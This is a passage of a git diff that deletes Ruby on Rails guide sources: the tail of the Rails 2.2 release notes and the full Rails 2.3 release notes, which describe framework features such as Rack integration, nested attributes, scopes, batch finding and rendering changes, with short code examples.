-Memoization lets you handle this task in a declarative fashion:
-
-<ruby>
-extend ActiveSupport::Memoizable
-
-def full_name
-  "#{first_name} #{last_name}"
-end
-memoize :full_name
-</ruby>
-
-Other features of memoization include +unmemoize+, +unmemoize_all+, and +memoize_all+ to turn memoization on or off.
-
-* Lead Contributor: "Josh Peek":http://joshpeek.com/
-* More information:
-** "What's New in Edge Rails: Easy Memoization":http://ryandaigle.com/articles/2008/7/16/what-s-new-in-edge-rails-memoization
-** "Memo-what? A Guide to Memoization":http://www.railway.at/articles/2008/09/20/a-guide-to-memoization
-
-h4. each_with_object
-
-The +each_with_object+ method provides an alternative to +inject+, using a method backported from Ruby 1.9. It iterates over a collection, passing the current element and the memo into the block.
-
-<ruby>
-%w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } #=> {'foo' => 'FOO', 'bar' => 'BAR'}
-</ruby>
-
-Lead Contributor: "Adam Keys":http://therealadam.com/
-
-h4. Delegates With Prefixes
-
-If you delegate behavior from one class to another, you can now specify a prefix that will be used to identify the delegated methods. For example:
-
-<ruby>
-class Vendor < ActiveRecord::Base
-  has_one :account
-  delegate :email, :password, :to => :account, :prefix => true
-end
-</ruby>
-
-This will produce delegated methods +vendor#account_email+ and +vendor#account_password+. You can also specify a custom prefix:
-
-<ruby>
-class Vendor < ActiveRecord::Base
-  has_one :account
-  delegate :email, :password, :to => :account, :prefix => :owner
-end
-</ruby>
-
-This will produce delegated methods +vendor#owner_email+ and +vendor#owner_password+.
-
-Lead Contributor: "Daniel Schierbeck":http://workingwithrails.com/person/5830-daniel-schierbeck
-
-h4. Other Active Support Changes
-
-* Extensive updates to +ActiveSupport::Multibyte+, including Ruby 1.9 compatibility fixes.
-* The addition of +ActiveSupport::Rescuable+ allows any class to mix in the +rescue_from+ syntax.
-* +past?+, +today?+ and +future?+ for +Date+ and +Time+ classes to facilitate date/time comparisons.
-* +Array#second+ through +Array#fifth+ as aliases for +Array#[1]+ through +Array#[4]+
-* +Enumerable#many?+ to encapsulate +collection.size > 1+
-* +Inflector#parameterize+ produces a URL-ready version of its input, for use in +to_param+.
-* +Time#advance+ recognizes fractional days and weeks, so you can do +1.7.weeks.ago+, +1.5.hours.since+, and so on.
-* The included TzInfo library has been upgraded to version 0.3.12.
-* +ActiveSuport::StringInquirer+ gives you a pretty way to test for equality in strings: +ActiveSupport::StringInquirer.new("abc").abc? => true+
-
-h3. Railties
-
-In Railties (the core code of Rails itself) the biggest changes are in the +config.gems+ mechanism.
-
-h4. config.gems
-
-To avoid deployment issues and make Rails applications more self-contained, it's possible to place copies of all of the gems that your Rails application requires in +/vendor/gems+. This capability first appeared in Rails 2.1, but it's much more flexible and robust in Rails 2.2, handling complicated dependencies between gems. Gem management in Rails includes these commands:
-
-* +config.gem _gem_name_+ in your +config/environment.rb+ file
-* +rake gems+ to list all configured gems, as well as whether they (and their dependencies) are installed, frozen, or framework (framework gems are those loaded by Rails before the gem dependency code is executed; such gems cannot be frozen)
-* +rake gems:install+ to install missing gems to the computer
-* +rake gems:unpack+ to place a copy of the required gems into +/vendor/gems+
-* +rake gems:unpack:dependencies+ to get copies of the required gems and their dependencies into +/vendor/gems+
-* +rake gems:build+ to build any missing native extensions
-* +rake gems:refresh_specs+ to bring vendored gems created with Rails 2.1 into alignment with the Rails 2.2 way of storing them
-
-You can unpack or install a single gem by specifying +GEM=_gem_name_+ on the command line.
-
-* Lead Contributor: "Matt Jones":http://github.com/al2o3cr
-* More information:
-** "What's New in Edge Rails: Gem Dependencies":http://ryandaigle.com/articles/2008/4/1/what-s-new-in-edge-rails-gem-dependencies
-** "Rails 2.1.2 and 2.2RC1: Update Your RubyGems":http://afreshcup.com/2008/10/25/rails-212-and-22rc1-update-your-rubygems/
-** "Detailed discussion on Lighthouse":http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets/1128
-
-h4. Other Railties Changes
-
-* If you're a fan of the "Thin":http://code.macournoyer.com/thin/ web server, you'll be happy to know that +script/server+ now supports Thin directly.
-* +script/plugin install &lt;plugin&gt; -r &lt;revision&gt;+ now works with git-based as well as svn-based plugins.
-* +script/console+ now supports a +--debugger+ option
-* Instructions for setting up a continuous integration server to build Rails itself are included in the Rails source
-* +rake notes:custom ANNOTATION=MYFLAG+ lets you list out custom annotations.
-* Wrapped +Rails.env+ in +StringInquirer+ so you can do +Rails.env.development?+
-* To eliminate deprecation warnings and properly handle gem dependencies, Rails now requires rubygems 1.3.1 or higher.
-
-h3. Deprecated
-
-A few pieces of older code are deprecated in this release:
-
-* +Rails::SecretKeyGenerator+ has been replaced by +ActiveSupport::SecureRandom+
-* +render_component+ is deprecated. There's a "render_components plugin":http://github.com/rails/render_component/tree/master available if you need this functionality.
-* Implicit local assignments when rendering partials has been deprecated.
-
-<ruby>
-def partial_with_implicit_local_assignment
-  @customer = Customer.new("Marcel")
-  render :partial => "customer"
-end
-</ruby>
-
-Previously the above code made available a local variable called +customer+ inside the partial 'customer'. You should explicitly pass all the variables via :locals hash now.
-
-* +country_select+ has been removed. See the "deprecation page":http://www.rubyonrails.org/deprecation/list-of-countries for more information and a plugin replacement.
-* +ActiveRecord::Base.allow_concurrency+ no longer has any effect.
-* +ActiveRecord::Errors.default_error_messages+ has been deprecated in favor of +I18n.translate('activerecord.errors.messages')+
-* The +%s+ and +%d+ interpolation syntax for internationalization is deprecated.
-* +String#chars+ has been deprecated in favor of +String#mb_chars+.
-* Durations of fractional months or fractional years are deprecated. Use Ruby's core +Date+ and +Time+ class arithmetic instead.
-* +Request#relative_url_root+ is deprecated. Use +ActionController::Base.relative_url_root+ instead.
-
-h3. Credits
-
-Release notes compiled by "Mike Gunderloy":http://afreshcup.com
diff --git a/railties/guides/source/2_3_release_notes.textile b/railties/guides/source/2_3_release_notes.textile
deleted file mode 100644
index 15abba66ab..0000000000
--- a/railties/guides/source/2_3_release_notes.textile
+++ /dev/null
@@ -1,610 +0,0 @@
-h2. Ruby on Rails 2.3 Release Notes
-
-Rails 2.3 delivers a variety of new and improved features, including pervasive Rack integration, refreshed support for Rails Engines, nested transactions for Active Record, dynamic and default scopes, unified rendering, more efficient routing, application templates, and quiet backtraces. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the "list of commits":http://github.com/rails/rails/commits/master in the main Rails repository on GitHub or review the +CHANGELOG+ files for the individual Rails components.
-
-endprologue.
-
-h3. Application Architecture
-
-There are two major changes in the architecture of Rails applications: complete integration of the "Rack":http://rack.rubyforge.org/ modular web server interface, and renewed support for Rails Engines.
-
-h4. Rack Integration
-
-Rails has now broken with its CGI past, and uses Rack everywhere. This required and resulted in a tremendous number of internal changes (but if you use CGI, don't worry; Rails now supports CGI through a proxy interface.) Still, this is a major change to Rails internals. After upgrading to 2.3, you should test on your local environment and your production environment. Some things to test:
-
-* Sessions
-* Cookies
-* File uploads
-* JSON/XML APIs
-
-Here's a summary of the rack-related changes:
-
-* +script/server+ has been switched to use Rack, which means it supports any Rack compatible server. +script/server+ will also pick up a rackup configuration file if one exists. By default, it will look for a +config.ru+ file, but you can override this with the +-c+ switch.
-* The FCGI handler goes through Rack.
-* +ActionController::Dispatcher+ maintains its own default middleware stack. Middlewares can be injected in, reordered, and removed. The stack is compiled into a chain on boot. You can configure the middleware stack in +environment.rb+.
-* The +rake middleware+ task has been added to inspect the middleware stack. This is useful for debugging the order of the middleware stack.
-* The integration test runner has been modified to execute the entire middleware and application stack. This makes integration tests perfect for testing Rack middleware.
-* +ActionController::CGIHandler+ is a backwards compatible CGI wrapper around Rack. The +CGIHandler+ is meant to take an old CGI object and convert its environment information into a Rack compatible form.
-* +CgiRequest+ and +CgiResponse+ have been removed.
-* Session stores are now lazy loaded. If you never access the session object during a request, it will never attempt to load the session data (parse the cookie, load the data from memcache, or lookup an Active Record object).
-* You no longer need to use +CGI::Cookie.new+ in your tests for setting a cookie value. Assigning a +String+ value to request.cookies["foo"] now sets the cookie as expected.
-* +CGI::Session::CookieStore+ has been replaced by +ActionController::Session::CookieStore+.
-* +CGI::Session::MemCacheStore+ has been replaced by +ActionController::Session::MemCacheStore+.
-* +CGI::Session::ActiveRecordStore+ has been replaced by +ActiveRecord::SessionStore+.
-* You can still change your session store with +ActionController::Base.session_store = :active_record_store+.
-* Default sessions options are still set with +ActionController::Base.session = { :key => "..." }+. However, the +:session_domain+ option has been renamed to +:domain+.
-* The mutex that normally wraps your entire request has been moved into middleware, +ActionController::Lock+.
-* +ActionController::AbstractRequest+ and +ActionController::Request+ have been unified. The new +ActionController::Request+ inherits from +Rack::Request+. This affects access to +response.headers['type']+ in test requests. Use +response.content_type+ instead.
-* +ActiveRecord::QueryCache+ middleware is automatically inserted onto the middleware stack if +ActiveRecord+ has been loaded. This middleware sets up and flushes the per-request Active Record query cache.
-* The Rails router and controller classes follow the Rack spec. You can call a controller directly with +SomeController.call(env)+. The router stores the routing parameters in +rack.routing_args+.
-* +ActionController::Request+ inherits from +Rack::Request+.
-* Instead of +config.action_controller.session = { :session_key => 'foo', ...+ use  +config.action_controller.session = { :key => 'foo', ...+.
-* Using the +ParamsParser+ middleware preprocesses any XML, JSON, or YAML requests so they can be read normally with any +Rack::Request+ object after it.
-
-h4. Renewed Support for Rails Engines
-
-After some versions without an upgrade, Rails 2.3 offers some new features for Rails Engines (Rails applications that can be embedded within other applications). First, routing files in engines are automatically loaded and reloaded now, just like your +routes.rb+ file (this also applies to routing files in other plugins). Second, if your plugin has an app folder, then app/[models|controllers|helpers] will automatically be added to the Rails load path. Engines also support adding view paths now, and Action Mailer as well as Action View will use views from engines and other plugins.
-
-h3. Documentation
-
-The "Ruby on Rails guides":http://guides.rubyonrails.org/ project has published several additional guides for Rails 2.3. In addition, a "separate site":http://edgeguides.rubyonrails.org/ maintains updated copies of the Guides for Edge Rails. Other documentation efforts include a relaunch of the "Rails wiki":http://newwiki.rubyonrails.org/ and early planning for a Rails Book.
-
-* More Information: "Rails Documentation Projects":http://weblog.rubyonrails.org/2009/1/15/rails-documentation-projects.
-
-h3. Ruby 1.9.1 Support
-
-Rails 2.3 should pass all of its own tests whether you are running on Ruby 1.8 or the now-released Ruby 1.9.1. You should be aware, though, that moving to 1.9.1 entails checking all of the data adapters, plugins, and other code that you depend on for Ruby 1.9.1 compatibility, as well as Rails core.
-
-h3. Active Record
-
-Active Record gets quite a number of new features and bug fixes in Rails 2.3. The highlights include nested attributes, nested transactions, dynamic and default scopes, and batch processing.
-
-h4. Nested Attributes
-
-Active Record can now update the attributes on nested models directly, provided you tell it to do so:
-
-<ruby>
-class Book < ActiveRecord::Base
-  has_one :author
-  has_many :pages
-
-  accepts_nested_attributes_for :author, :pages
-end
-</ruby>
-
-Turning on nested attributes enables a number of things: automatic (and atomic) saving of a record together with its associated children, child-aware validations, and support for nested forms (discussed later).
-
-You can also specify requirements for any new records that are added via nested attributes using the +:reject_if+ option:
-
-<ruby>
-accepts_nested_attributes_for :author,
-  :reject_if => proc { |attributes| attributes['name'].blank? }
-</ruby>
-
-* Lead Contributor: "Eloy Duran":http://superalloy.nl/
-* More Information: "Nested Model Forms":http://weblog.rubyonrails.org/2009/1/26/nested-model-forms
-
-h4. Nested Transactions
-
-Active Record now supports nested transactions, a much-requested feature. Now you can write code like this:
-
-<ruby>
-User.transaction do
-    User.create(:username => 'Admin')
-    User.transaction(:requires_new => true) do
-      User.create(:username => 'Regular')
-      raise ActiveRecord::Rollback
-    end
-  end
-
-  User.find(:all)  # => Returns only Admin
-</ruby>
-
-Nested transactions let you roll back an inner transaction without affecting the state of the outer transaction. If you want a transaction to be nested, you must explicitly add the +:requires_new+ option; otherwise, a nested transaction simply becomes part of the parent transaction (as it does currently on Rails 2.2). Under the covers, nested transactions are "using savepoints":http://rails.lighthouseapp.com/projects/8994/tickets/383, so they're supported even on databases that don't have true nested transactions. There is also a bit of magic going on to make these transactions play well with transactional fixtures during testing.
-
-* Lead Contributors: "Jonathan Viney":http://www.workingwithrails.com/person/4985-jonathan-viney and "Hongli Lai":http://izumi.plan99.net/blog/
-
-h4. Dynamic Scopes
-
-You know about dynamic finders in Rails (which allow you to concoct methods like +find_by_color_and_flavor+ on the fly) and named scopes (which allow you to encapsulate reusable query conditions into friendly names like +currently_active+). Well, now you can have dynamic scope methods. The idea is to put together syntax that allows filtering on the fly _and_ method chaining. For example:
-
-<ruby>
-Order.scoped_by_customer_id(12)
-Order.scoped_by_customer_id(12).find(:all,
-  :conditions => "status = 'open'")
-Order.scoped_by_customer_id(12).scoped_by_status("open")
-</ruby>
-
-There's nothing to define to use dynamic scopes: they just work.
-
-* Lead Contributor: "Yaroslav Markin":http://evilmartians.com/
-* More Information: "What's New in Edge Rails: Dynamic Scope Methods":http://ryandaigle.com/articles/2008/12/29/what-s-new-in-edge-rails-dynamic-scope-methods.
-
-h4. Default Scopes
-
-Rails 2.3 will introduce the notion of _default scopes_ similar to named scopes, but applying to all named scopes or find methods within the model. For example, you can write +default_scope :order => 'name ASC'+ and any time you retrieve records from that model they'll come out sorted by name (unless you override the option, of course).
-
-* Lead Contributor: Paweł Kondzior
-* More Information: "What's New in Edge Rails: Default Scoping":http://ryandaigle.com/articles/2008/11/18/what-s-new-in-edge-rails-default-scoping
-
-h4. Batch Processing
-
-You can now process large numbers of records from an ActiveRecord model with less pressure on memory by using +find_in_batches+:
-
-<ruby>
-Customer.find_in_batches(:conditions => {:active => true}) do |customer_group|
-  customer_group.each { |customer| customer.update_account_balance! }
-end
-</ruby>
-
-You can pass most of the +find+ options into +find_in_batches+. However, you cannot specify the order that records will be returned in (they will always be returned in ascending order of primary key, which must be an integer), or use the +:limit+ option. Instead, use the +:batch_size+ option, which defaults to 1000, to set the number of records that will be returned in each batch.
-
-The new +find_each+ method provides a wrapper around +find_in_batches+ that returns individual records, with the find itself being done in batches (of 1000 by default):
-
-<ruby>
-Customer.find_each do |customer|
-  customer.update_account_balance!
-end
-</ruby>
-
-Note that you should only use this method for batch processing: for small numbers of records (less than 1000), you should just use the regular find methods with your own loop.
-
-* More Information (at that point the convenience method was called just +each+):
-** "Rails 2.3: Batch Finding":http://afreshcup.com/2009/02/23/rails-23-batch-finding/
-** "What's New in Edge Rails: Batched Find":http://ryandaigle.com/articles/2009/2/23/what-s-new-in-edge-rails-batched-find
-
-h4. Multiple Conditions for Callbacks
-
-When using Active Record callbacks, you can now combine +:if+ and +:unless+ options on the same callback, and supply multiple conditions as an array:
-
-<ruby>
-before_save :update_credit_rating, :if => :active,
-  :unless => [:admin, :cash_only]
-</ruby>
-* Lead Contributor: L. Caviola
-
-h4. Find with having
-
-Rails now has a +:having+ option on find (as well as on +has_many+ and +has_and_belongs_to_many+ associations) for filtering records in grouped finds. As those with heavy SQL backgrounds know, this allows filtering based on grouped results:
-
-<ruby>
-developers =  Developer.find(:all, :group => "salary",
-  :having => "sum(salary) >  10000", :select => "salary")
-</ruby>
-
-* Lead Contributor: "Emilio Tagua":http://github.com/miloops
-
-h4. Reconnecting MySQL Connections
-
-MySQL supports a reconnect flag in its connections - if set to true, then the client will try reconnecting to the server before giving up in case of a lost connection. You can now set +reconnect = true+ for your MySQL connections in +database.yml+ to get this behavior from a Rails application. The default is +false+, so the behavior of existing applications doesn't change.
-
-* Lead Contributor: "Dov Murik":http://twitter.com/dubek
-* More information:
-** "Controlling Automatic Reconnection Behavior":http://dev.mysql.com/doc/refman/5.0/en/auto-reconnect.html
-** "MySQL auto-reconnect revisited":http://groups.google.com/group/rubyonrails-core/browse_thread/thread/49d2a7e9c96cb9f4
-
-h4. Other Active Record Changes
-
-* An extra +AS+ was removed from the generated SQL for +has_and_belongs_to_many+ preloading, making it work better for some databases.
-* +ActiveRecord::Base#new_record?+ now returns +false+ rather than +nil+ when confronted with an existing record.
-* A bug in quoting table names in some +has_many :through+ associations was fixed.
-* You can now specify a particular timestamp for +updated_at+ timestamps: +cust = Customer.create(:name => "ABC Industries", :updated_at => 1.day.ago)+
-* Better error messages on failed +find_by_attribute!+ calls.
-* Active Record's +to_xml+ support gets just a little bit more flexible with the addition of a +:camelize+ option.
-* A bug in canceling callbacks from +before_update+ or +before_create+ was fixed.
-* Rake tasks for testing databases via JDBC have been added.
-* +validates_length_of+ will use a custom error message with the +:in+ or +:within+ options (if one is supplied).
-* Counts on scoped selects now work properly, so you can do things like +Account.scoped(:select => "DISTINCT credit_limit").count+.
-* +ActiveRecord::Base#invalid?+ now works as the opposite of +ActiveRecord::Base#valid?+.
-
-h3. Action Controller
-
-Action Controller rolls out some significant changes to rendering, as well as improvements in routing and other areas, in this release.
-
-h4. Unified Rendering
-
-+ActionController::Base#render+ is a lot smarter about deciding what to render. Now you can just tell it what to render and expect to get the right results. In older versions of Rails, you often need to supply explicit information to render:
-
-<ruby>
-render :file => '/tmp/random_file.erb'
-render :template => 'other_controller/action'
-render :action => 'show'
-</ruby>
-
-Now in Rails 2.3, you can just supply what you want to render:
-
-<ruby>
-render '/tmp/random_file.erb'
-render 'other_controller/action'
-render 'show'
-render :show
-</ruby>
-Rails chooses between file, template, and action depending on whether there is a leading slash, an embedded slash, or no slash at all in what's to be rendered. Note that you can also use a symbol instead of a string when rendering an action. Other rendering styles (+:inline+, +:text+, +:update+, +:nothing+, +:json+, +:xml+, +:js+) still require an explicit option.
-
-h4. Application Controller Renamed
-
-If you're one of the people who has always been bothered by the special-case naming of +application.rb+, rejoice! It's been reworked to be application_controller.rb in Rails 2.3. In addition, there's a new rake task, +rake rails:update:application_controller+ to do this automatically for you - and it will be run as part of the normal +rake rails:update+ process.
-
-* More Information:
-** "The Death of Application.rb":http://afreshcup.com/2008/11/17/rails-2x-the-death-of-applicationrb/
-** "What's New in Edge Rails: Application.rb Duality is no More":http://ryandaigle.com/articles/2008/11/19/what-s-new-in-edge-rails-application-rb-duality-is-no-more
-
-h4. HTTP Digest Authentication Support
-
-Rails now has built-in support for HTTP digest authentication. To use it, you call +authenticate_or_request_with_http_digest+ with a block that returns the user’s password (which is then hashed and compared against the transmitted credentials):
-
-<ruby>
-class PostsController < ApplicationController
-  Users = {"dhh" => "secret"}
-  before_filter :authenticate
-
-  def secret
-    render :text => "Password Required!"
-  end
-
-  private
-  def authenticate
-    realm = "Application"
-    authenticate_or_request_with_http_digest(realm) do |name|
-      Users[name]
-    end
-  end
-end
-</ruby>
-
-* Lead Contributor: "Gregg Kellogg":http://www.kellogg-assoc.com/
-* More Information: "What's New in Edge Rails: HTTP Digest Authentication":http://ryandaigle.com/articles/2009/1/30/what-s-new-in-edge-rails-http-digest-authentication
-
-h4. More Efficient Routing
-
-There are a couple of significant routing changes in Rails 2.3. The +formatted_+ route helpers are gone, in favor just passing in +:format+ as an option. This cuts down the route generation process by 50% for any resource - and can save a substantial amount of memory (up to 100MB on large applications). If your code uses the +formatted_+ helpers, it will still work for the time being - but that behavior is deprecated and your application will be more efficient if you rewrite those routes using the new standard. Another big change is that Rails now supports multiple routing files, not just +routes.rb+. You can use +RouteSet#add_configuration_file+ to bring in more routes at any time - without clearing the currently-loaded routes. While this change is most useful for Engines, you can use it in any application that needs to load routes in batches.
-
-* Lead Contributors: "Aaron Batalion":http://blog.hungrymachine.com/
-
-h4. Rack-based Lazy-loaded Sessions
-
-A big change pushed the underpinnings of Action Controller session storage down to the Rack level. This involved a good deal of work in the code, though it should be completely transparent to your Rails applications (as a bonus, some icky patches around the old CGI session handler got removed). It's still significant, though, for one simple reason: non-Rails Rack applications have access to the same session storage handlers (and therefore the same session) as your Rails applications. In addition, sessions are now lazy-loaded (in line with the loading improvements to the rest of the framework). This means that you no longer need to explicitly disable sessions if you don't want them; just don't refer to them and they won't load.
-
-h4. MIME Type Handling Changes
-
-There are a couple of changes to the code for handling MIME types in Rails. First, +MIME::Type+ now implements the +=~+ operator, making things much cleaner when you need to check for the presence of a type that has synonyms:
-
-<ruby>
-if content_type && Mime::JS =~ content_type
-  # do something cool
-end
-
-Mime::JS =~ "text/javascript"        => true
-Mime::JS =~ "application/javascript" => true
-</ruby>
-
-The other change is that the framework now uses the +Mime::JS+ when checking for JavaScript in various spots, making it handle those alternatives cleanly.
-
-* Lead Contributor: "Seth Fitzsimmons":http://www.workingwithrails.com/person/5510-seth-fitzsimmons
-
-h4. Optimization of +respond_to+
-
-In some of the first fruits of the Rails-Merb team merger, Rails 2.3 includes some optimizations for the +respond_to+ method, which is of course heavily used in many Rails applications to allow your controller to format results differently based on the MIME type of the incoming request. After eliminating a call to +method_missing+ and some profiling and tweaking, we're seeing an 8% improvement in the number of requests per second served with a simple +respond_to+ that switches between three formats. The best part? No change at all required to the code of your application to take advantage of this speedup.
-
-h4. Improved Caching Performance
-
-Rails now keeps a per-request local cache of read from the remote cache stores, cutting down on unnecessary reads and leading to better site performance. While this work was originally limited to +MemCacheStore+, it is available to any remote store than implements the required methods.
-
-* Lead Contributor: "Nahum Wild":http://www.motionstandingstill.com/
-
-h4. Localized Views
-
-Rails can now provide localized views, depending on the locale that you have set. For example, suppose you have a +Posts+ controller with a +show+ action. By default, this will render +app/views/posts/show.html.erb+. But if you set +I18n.locale = :da+, it will render +app/views/posts/show.da.html.erb+. If the localized template isn't present, the undecorated version will be used. Rails also includes +I18n#available_locales+ and +I18n::SimpleBackend#available_locales+, which return an array of the translations that are available in the current Rails project.
-
-In addition, you can use the same scheme to localize the rescue files in the +public+ directory: +public/500.da.html+ or +public/404.en.html+ work, for example.
-
-h4. Partial Scoping for Translations
-
-A change to the translation API makes things easier and less repetitive to write key translations within partials. If you call +translate(".foo")+ from the +people/index.html.erb+ template, you'll actually be calling +I18n.translate("people.index.foo")+ If you don't prepend the key with a period, then the API doesn't scope, just as before.
-
-h4. Other Action Controller Changes
-
-* ETag handling has been cleaned up a bit: Rails will now skip sending an ETag header when there's no body to the response or when sending files with +send_file+.
-* The fact that Rails checks for IP spoofing can be a nuisance for sites that do heavy traffic with cell phones, because their proxies don't generally set things up right. If that's you, you can now set +ActionController::Base.ip_spoofing_check = false+ to disable the check entirely.
-* +ActionController::Dispatcher+ now implements its own middleware stack, which you can see by running +rake middleware+.
-* Cookie sessions now have persistent session identifiers, with API compatibility with the server-side stores.
-* You can now use symbols for the +:type+ option of +send_file+ and +send_data+, like this: +send_file("fabulous.png", :type => :png)+.
-* The +:only+ and +:except+ options for +map.resources+ are no longer inherited by nested resources.
-* The bundled memcached client has been updated to version 1.6.4.99.
-* The +expires_in+, +stale?+, and +fresh_when+ methods now accept a +:public+ option to make them work well with proxy caching.
-* The +:requirements+ option now works properly with additional RESTful member routes.
-* Shallow routes now properly respect namespaces.
-* +polymorphic_url+ does a better job of handling objects with irregular plural names.
-
-h3. Action View
-
-Action View in Rails 2.3 picks up nested model forms, improvements to +render+, more flexible prompts for the date select helpers, and a speedup in asset caching, among other things.
-
-h4. Nested Object Forms
-
-Provided the parent model accepts nested attributes for the child objects (as discussed in the Active Record section), you can create nested forms using +form_for+ and +field_for+. These forms can be nested arbitrarily deep, allowing you to edit complex object hierarchies on a single view without excessive code. For example, given this model:
-
-<ruby>
-class Customer < ActiveRecord::Base
-  has_many :orders
-
-  accepts_nested_attributes_for :orders, :allow_destroy => true
-end
-</ruby>
-
-You can write this view in Rails 2.3:
-
-<erb>
-<% form_for @customer do |customer_form| %>
-  <div>
-    <%= customer_form.label :name, 'Customer Name:' %>
-    <%= customer_form.text_field :name %>
-  </div>
-
-  <!-- Here we call fields_for on the customer_form builder instance.
-   The block is called for each member of the orders collection. -->
-  <% customer_form.fields_for :orders do |order_form| %>
-    <p>
-      <div>
-        <%= order_form.label :number, 'Order Number:' %>
-        <%= order_form.text_field :number %>
-      </div>
-
-  <!-- The allow_destroy option in the model enables deletion of
-   child records. -->
-      <% unless order_form.object.new_record? %>
-        <div>
-          <%= order_form.label :_delete, 'Remove:' %>
-          <%= order_form.check_box :_delete %>
-        </div>
-      <% end %>
-    </p>
-  <% end %>
-
-  <%= customer_form.submit %>
-<% end %>
-</erb>
-
-* Lead Contributor: "Eloy Duran":http://superalloy.nl/
-* More Information:
-** "Nested Model Forms":http://weblog.rubyonrails.org/2009/1/26/nested-model-forms
-** "complex-form-examples":http://github.com/alloy/complex-form-examples
-** "What's New in Edge Rails: Nested Object Forms":http://ryandaigle.com/articles/2009/2/1/what-s-new-in-edge-rails-nested-attributes
-
-h4. Smart Rendering of Partials
-
-The render method has been getting smarter over the years, and it's even smarter now. If you have an object or a collection and an appropriate partial, and the naming matches up, you can now just render the object and things will work. For example, in Rails 2.3, these render calls will work in your view (assuming sensible naming):
-
-<ruby>
-# Equivalent of render :partial => 'articles/_article',
-# :object => @article
-render @article
-
-# Equivalent of render :partial => 'articles/_article',
-# :collection => @articles
-render @articles
-</ruby>
-
-* More Information: "What's New in Edge Rails: render Stops Being High-Maintenance":http://ryandaigle.com/articles/2008/11/20/what-s-new-in-edge-rails-render-stops-being-high-maintenance
-
-h4. Prompts for Date Select Helpers
-
-In Rails 2.3, you can supply custom prompts for the various date select helpers (+date_select+, +time_select+, and +datetime_select+), the same way you can with collection select helpers. You can supply a prompt string or a hash of individual prompt strings for the various components. You can also just set +:prompt+ to +true+ to use the custom generic prompt:
-
-<ruby>
-select_datetime(DateTime.now, :prompt => true)
-
-select_datetime(DateTime.now, :prompt => "Choose date and time")
-
-select_datetime(DateTime.now, :prompt =>
-  {:day => 'Choose day', :month => 'Choose month',
-   :year => 'Choose year', :hour => 'Choose hour',
-   :minute => 'Choose minute'})
-</ruby>
-
-* Lead Contributor: "Sam Oliver":http://samoliver.com/
-
-h4. AssetTag Timestamp Caching
-
-You're likely familiar with Rails' practice of adding timestamps to static asset paths as a "cache buster." This helps ensure that stale copies of things like images and stylesheets don't get served out of the user's browser cache when you change them on the server. You can now modify this behavior with the +cache_asset_timestamps+ configuration option for Action View. If you enable the cache, then Rails will calculate the timestamp once when it first serves an asset, and save that value. This means fewer (expensive) file system calls to serve static assets - but it also means that you can't modify any of the assets while the server is running and expect the changes to get picked up by clients.
-
-h4. Asset Hosts as Objects
-
-Asset hosts get more flexible in edge Rails with the ability to declare an asset host as a specific object that responds to a call. This allows you to implement any complex logic you need in your asset hosting.
-
-* More Information: "asset-hosting-with-minimum-ssl":http://github.com/dhh/asset-hosting-with-minimum-ssl/tree/master
-
-h4. grouped_options_for_select Helper Method
-
-Action View already had a bunch of helpers to aid in generating select controls, but now there's one more: +grouped_options_for_select+. This one accepts an array or hash of strings, and converts them into a string of +option+ tags wrapped with +optgroup+ tags. For example:
-
-<ruby>
-grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]],
-  "Cowboy Hat", "Choose a product...")
-</ruby>
-
-returns
-
-<ruby>
-<option value="">Choose a product...</option>
-<optgroup label="Hats">
-  <option value="Baseball Cap">Baseball Cap</option>
-  <option selected="selected" value="Cowboy Hat">Cowboy Hat</option>
-</optgroup>
-</ruby>
-
-h4. Disabled Option Tags for Form Select Helpers
-
-The form select helpers (such as +select+ and +options_for_select+) now support a +:disabled+ option, which can take a single value or an array of values to be disabled in the resulting tags:
-
-<ruby>
-select(:post, :category, Post::CATEGORIES, :disabled => ‘private‘)
-</ruby>
-
-returns
-
-<ruby>
-<select name=“post[category]“>
-<option>story</option>
-<option>joke</option>
-<option>poem</option>
-<option disabled=“disabled“>private</option>
-</select>
-</ruby>
-
-You can also use an anonymous function to determine at runtime which options from collections will be selected and/or disabled:
-
-<ruby>
-options_from_collection_for_select(@product.sizes, :name, :id, :disabled => lambda{|size| size.out_of_stock?})
-</ruby>
-
-* Lead Contributor: "Tekin Suleyman":http://tekin.co.uk/
-* More Information: "New in rails 2.3 - disabled option tags and lambdas for selecting and disabling options from collections":http://tekin.co.uk/2009/03/new-in-rails-23-disabled-option-tags-and-lambdas-for-selecting-and-disabling-options-from-collections/
-
-h4. A Note About Template Loading
-
-Rails 2.3 includes the ability to enable or disable cached templates for any particular environment. Cached templates give you a speed boost because they don't check for a new template file when they're rendered - but they also mean that you can't replace a template "on the fly" without restarting the server.
-
-In most cases, you'll want template caching to be turned on in production, which you can do by making a setting in your +production.rb+ file:
-
-<ruby>
-config.action_view.cache_template_loading = true
-</ruby>
-
-This line will be generated for you by default in a new Rails 2.3 application. If you've upgraded from an older version of Rails, Rails will default to caching templates in production and test but not in development.
-
-h4. Other Action View Changes
-
-* Token generation for CSRF protection has been simplified; now Rails uses a simple random string generated by +ActiveSupport::SecureRandom+ rather than mucking around with session IDs.
-* +auto_link+ now properly applies options (such as +:target+ and +:class+) to generated e-mail links.
-* The +autolink+ helper has been refactored to make it a bit less messy and more intuitive.
-* +current_page?+ now works properly even when there are multiple query parameters in the URL.
-
-h3. Active Support
-
-Active Support has a few interesting changes, including the introduction of +Object#try+.
-
-h4. Object#try
-
-A lot of folks have adopted the notion of using try() to attempt operations on objects. It's especially helpful in views where you can avoid nil-checking by writing code like +&lt;%= @person.try(:name) %&gt;+. Well, now it's baked right into Rails. As implemented in Rails, it raises +NoMethodError+ on private methods and always returns +nil+ if the object is nil.
-
-* More Information: "try()":http://ozmm.org/posts/try.html.
-
-h4. Object#tap Backport
-
-+Object#tap+ is an addition to "Ruby 1.9":http://www.ruby-doc.org/core-1.9/classes/Object.html#M000309 and 1.8.7 that is similar to the +returning+ method that Rails has had for a while: it yields to a block, and then returns the object that was yielded. Rails now includes code to make this available under older versions of Ruby as well.
-
-h4. Swappable Parsers for XMLmini
-
-The support for XML parsing in ActiveSupport has been made more flexible by allowing you to swap in different parsers. By default, it uses the standard REXML implementation, but you can easily specify the faster LibXML or Nokogiri implementations for your own applications, provided you have the appropriate gems installed:
-
-<ruby>
-XmlMini.backend = 'LibXML'
-</ruby>
-
-* Lead Contributor: "Bart ten Brinke":http://www.movesonrails.com/
-* Lead Contributor: "Aaron Patterson":http://tenderlovemaking.com/
-
